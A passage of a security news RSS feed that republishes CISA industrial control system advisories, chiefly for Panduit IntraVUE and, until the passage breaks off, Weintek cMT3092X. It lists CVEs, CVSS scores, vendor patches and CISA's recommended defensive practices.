<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Panduit IntraVUE]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker with access to the IT network to manipulate industrial control devices without requiring physical access, specialized insider knowledge, or advanced tooling.
The following versions of Panduit IntraVUE are a...]]></description>
<link>https://tsecurity.de/de/3689938/it-security-nachrichten/panduit-intravue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689938/it-security-nachrichten/panduit-intravue/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-04.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker with access to the IT network to manipulate industrial control devices without requiring physical access, specialized insider knowledge, or advanced tooling.</strong></p>
<p>The following versions of Panduit IntraVUE are affected:</p>
<ul>
<li>IntraVUE &lt;=3.2.1a14 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 10</td>
<td>Pronetiqs</td>
<td>Panduit IntraVUE</td>
<td>Plaintext Storage of a Password, Unintended Proxy or Intermediary ('Confused Deputy'), Exposure of Sensitive System Information to an Unauthorized Control Sphere, Inadequate Encryption Strength</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Energy, Information Technology, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Netherlands</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-40430</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE Versions 3.2.1a14 and prior have a plaintext storage of a password vulnerability that could expose cleartext credentials through the API.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-40430">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256 Plaintext Storage of a Password</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-42933</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an unintended proxy or intermediary vulnerability which could allow an attacker to use an active proxy, which would bypass OT segmentation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-42933">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/441.html">CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>10</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>10</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-44955</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an exposure of sensitive system information to an unauthorized control sphere vulnerability which could allow for asset discovery by unauthenticated users.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-44955">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/497.html">CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>6.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50044</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an inadequate encryption strength vulnerability which could allow an attacker to steal admin credentials via weak hash or a pass-the-hash attack.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50044">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/326.html">CWE-326 Inadequate Encryption Strength</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-28698</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an exposure of sensitive system information to an unauthorized control sphere vulnerability which could expose the underlying host/share filesystem.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-28698">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/497.html">CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.2</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Phlebas of Lumintel reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Weintek cMT3092X]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.
The following versions of Weintek cMT3092X are affected:

cMT3092X firmware]]></description>
<link>https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-03.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.</strong></p>
<p>The following versions of Weintek cMT3092X are affected:</p>
<ul>
<li>cMT3092X firmware &lt;20210218 </li>
<li>EasyWeb &lt;v2.1.20</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.8</td>
<td>Weintek</td>
<td>Weintek cMT3092X</td>
<td>Reliance on Cookies without Validation and Integrity Checking in a Security Decision, Incorrect Permission Assignment for Critical Resource, Plaintext Storage of a Password, Incorrect User Management</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Taiwan</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60134</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI allows a non-privileged user to modify cookies to gain elevated privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60134">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/784.html">CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61892</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI allows a non-privileged user to modify tokens to escalate privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61892">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/732.html">CWE-732 Incorrect Permission Assignment for Critical Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61886</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI stores user account passwords in plaintext.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61886">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256 Plaintext Storage of a Password</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60135</a></h3>
<div class="csaf-accordion-content">
<p>An attacker can modify data that should be restricted to read‑only access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60135">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/286.html">CWE-286 Incorrect User Management</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
